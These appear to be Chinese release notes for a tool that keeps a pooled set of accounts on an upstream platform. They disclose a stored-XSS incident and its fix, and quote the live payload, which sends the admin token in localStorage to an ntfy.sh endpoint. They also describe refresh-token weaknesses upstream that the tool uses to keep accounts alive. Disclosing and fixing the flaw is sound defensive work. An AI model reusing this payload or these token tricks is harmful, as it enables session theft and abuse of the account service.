Repository navigation
MiraiHub v1.0.2
MiraiHub v1.0.2
本版重点:修复控制台存储型 XSS(线上事件)、修正账号令牌有效期的判断口径(此前会误判「30 天后必须重新登录」)、以及一批复制/样式/启动脚本的实际缺陷。
一、安全修复
控制台存储型 XSS(CVE 类,已在线上真实触发)
攻击者用手机号走公开自助注册(/api/join/*)把自己的账号塞进号池,昵称里写入:
');navigator.sendBeacon('//ntfy.sh/xxx',localStorage.wb_admin_token);location='http://x.x.x.x/admin'//
后台账号行把这个昵称拼进内联处理器:
onclick="growthTasks(55,'${esc(a.name)}')"esc() 只做 HTML 实体转义(& < > "),不处理单引号;而 onclick 属性的值是「先由 HTML 解析器解码实体、再交给 JS 解析」——一个 ' 就能闭合字符串、跳出参数位执行任意语句,把 localStorage 里的后台令牌外带出去。管理员点任意一行操作按钮即中招。
三层修复:
| 层 | 做法 |
|---|---|
| 入库 | 新增 clean_display_name():剔除 < > & " ' \ \`、控制字符,长度封顶 64,空值回落到「未命名」——payload 根本进不了库 |
| 渲染 | 模板里不再出现 '${esc(...)}' 这种「单引号 JS 字符串 + HTML 转义」组合,一律改用 jsv()(内部 JSON.stringify,引号被转成 \u0027,实体解码后仍是安全字面量) |
| 回归 | tests/test_console_xss.py 用真实 payload 断言三条线都成立 |
注意:不能用「把
'转成'」来修 —— 实体解码后还是',一样能闭合字符串。必须做 JS 层编码。
二、账号令牌有效期:之前的技术结论是错的
原结论是「accessToken 是 30 天 JWT,refreshToken 换新必须 client_secret,而 secret 既不在客户端也不在开源码里,所以 30 天后只能重新登录」。实测推翻:
| 实测项 | 结果 |
|---|---|
| 刷新端点鉴权 | POST /v2/plugin/auth/token/refresh 只要一个 X-Refresh-Token 头,不需要 client_secret |
accessToken 已过期 / 签名伪造 / 完全不传 Authorization |
三种都返回 200 + 新令牌 |
刷新后 refreshExpiresIn |
恒为 5183999(约 60 天),每刷一次整体后移 |
| 旧 refreshToken 重放 | 仍然成功(宽容轮换,写回失败不会当场废号) |
所以凭证是两条独立时间线:
- access(30 天) —— 过期不是终态,一次刷新就复活,只是「该刷了」的提示
- refresh(60 天滑动窗口) —— 才是真正的死亡线
本版做了什么
admin/platform/workbuddy/core/credential_expiry.py:同时解析两条时间线,输出state/days_left/refresh_state/renewable,并绝不抛异常(坏号只降级为unknown,不让整页列表 500)admin/credential_expiry.py:平台无关入口。具体解析由各平台Gateway.credential_expiry()回答,admin 不认识.info的内部结构(也满足test_gateway_contract的「admin 平台无关性」约束)- 续期窗口兜底扫描:以前保活是「每天一个整点」,只要那一刻服务不在线就整轮错过(历史上积压过 18 天)。现在每 6 小时检查一次,有号的窗口剩余 < 14 天就立刻补刷,把「整点错过」降级成「最多晚 N 秒」
- 请求前提前续命:
_refresh_if_suspect()在发请求前把已过期的号续上,不再白烧一次 401;backend._bearer()覆盖了原来绕过过期检查的 5 处手动拼头(签到 / 成长任务 / 积分明细 / 遥测上报) - 刷新字段合并:原来用 payload 整体覆盖
auth,上游少回一个字段就静默丢数据;现在按字段合并 - 前端徽标拆成两色:access 过期 → 黄色「令牌待刷新」(能自愈);只有续期窗口告急/关闭才红色
三、其它修复
内置模块的循环导入(1.0.1 起就存在)
converter.py 顶部有 from admin.upstream_errors import UpstreamError,这一行会把 admin 包初始化一遍;而 admin/__init__.py 的别名装配会导入平台实现,那个实现第 17 行又写的是 from converter import BACKEND, CredentialError, CredentialManager。
于是成环:converter(第38行) → admin → admin.backend → converter(第114行),此时 BACKEND 还没定义 → ImportError: partially initialized module。
服务本身没炸,纯粹因为 main.py 恰好先 import converter、在 admin 装配前把常量定义好了 —— 靠调用顺序活着。后果是任何把 converter 当独立模块加载的场景(排查脚本、单测、PyInstaller 的不同入口顺序)都会失败。
修法:UpstreamError 改用模块级 __getattr__(PEP 562)按需解析,BACKEND / CredentialError 提前到文件头,growth_plan 的 AccountSession 改为函数内延迟导入。
别名装配静默失败
admin/__init__.py 手动改写 sys.modules["admin.backend"] 时,绕过了 import x.y 会自动做的 setattr(parent, "y", ...)。于是 import admin.backend 能用,但 getattr(admin, "backend") 是 AttributeError —— 而 patch("admin.backend.AccountSession") 走的正是后者,一次影响 9 个测试。
现在同时写入 sys.modules 与包属性;converter 还在初始化时只跳过 backend 这一项(它是唯一反向依赖 converter 的),其余别名照装 —— 避免「装不上」被 except 伪装成「模块不存在」。
复制剪贴板静默失败
顶栏与概览卡的「复制 API 地址」写的是裸 navigator.clipboard.writeText(),没有 catch。在非安全上下文(内网 IP / WebView / 反代)下它会 reject,用户看到「已复制」的提示,剪贴板里却是空的。
现在统一走 writeClipboard():Clipboard API → 失败立刻回落 execCommand,两条路径都走不通时才提示「复制失败,请手动选中」。
1.0.1 的提示条(toast)无样式
1.0.1 的 console.css 里一条 wb-toast 规则都没有,而 index.html 已经输出新结构。后果是提示掉到文档流底部变成纯文本,图标 SVG 没有尺寸约束、按默认 300×150 铺开并填黑 —— 页面上那个巨大的黑色三角形就是它。本版补齐 22 条规则并加回归测试。
移动端设置入口消失
导航改成分组按钮后(接入 同时承载 client / sync / alerts),build_android.py 里「删掉 data-tab=client 按钮」那条正则会把整个分组按钮删掉,连带手机上的设置入口一起消失。构建本身不报错,只有装到手机上才发现。已改为重写为独立的「设置」项,并加 tests/test_mobile_nav.py。
服务重启脚本根本起不来服务
scripts/daemon.ps1 把解释器硬编码成 .venv\Scripts\python.exe。本机没有这个 venv 时,Start-Process 静默失败,日志只留一行空的「已启动服务 PID=」,端口永远不监听 —— 「重启服务没反应」的根因就在这里。
改为按 venv → PYTHON 环境变量 → PATH 依次解析解释器;同时把「固定等 8 秒就判定失败」改为轮询等待(冷启动实测 10 秒上下,8 秒一刀切会把成功报成失败,让真失败和「只是慢一点」混成同一句话)。
账号调度:手动排序语义恢复
「积分到期优先」模式下取「最早到期那一档」做候选,配合「取前 N 档」会让第 2、3 名永远不动。已恢复为默认「只取最小优先级那一档」(用户把某个号拖到第 1 位就是「先烧它」),需要分摊时用 ADMIN_SELECTION_ROTATE_N 显式打开。
四、下载
| 平台 | 文件 | 大小 |
|---|---|---|
| Windows x64 | miraihub-1.0.2-windows-x64.exe |
36.0 MB |
| Android arm64 | miraihub-1.0.2-android-arm64.apk |
见 Release 附件 |
五、升级说明
桌面版:直接覆盖安装。会复用 %LOCALAPPDATA%\workbuddy2api\ 下的旧数据库,缺失的列由启动时的 _ensure_column 自动补齐(本版已核对 blocked_ips.expires_at 在清单内)。
Android:卸载旧版后重装。卸载前先导出:账号页 → 管理操作 → 导出。
给账号池的建议:本版上线后先手动点一次「token 保活」,确认日志里的 refreshed 计数不再为 0 —— 之前的实现因为 get_headers() 只在本地 expiresAt 临近时才刷,长期报「成功 N/N、refreshed=0」而实际一个 token 都没动过。
六、校验
# Windows
Get-FileHash .\miraihub-1.0.2-windows-x64.exe -Algorithm SHA256
# Android
Get-FileHash .\miraihub-1.0.2-android-arm64.apk -Algorithm SHA256与同目录 .sha256 文件比对即可。Release 附件页也会显示 GitHub 侧算出的 digest。
七、已知限制
refreshExpiresIn60 天是滑动窗口,不是无限:只要 60 天内成功刷新过一次就永续,但连续 60 天一次都没成功(服务长期停机)仍会掉号,只能重新授权登录- 序号化的手动排序只影响「哪些号参与调度」,不放宽冷却/熔断/额度等健康判定
- 跨平台凭证解析只实现了 WorkBuddy:Trae / Qoder / Loomy 的凭证结构不同(顶层
token/expiredAt),本版不对它们显示令牌徽标 —— 这是预期,不是异常 - 本机测试环境中
tests/test_model_limits.py等 12 个模块存在既有失败(httpx 版本与测试桩对AsyncClient(transport=...)的处理冲突,HEAD 版本同样失败),不影响产物;四项核心回归PASS=76 / 171 / 171 / 83全绿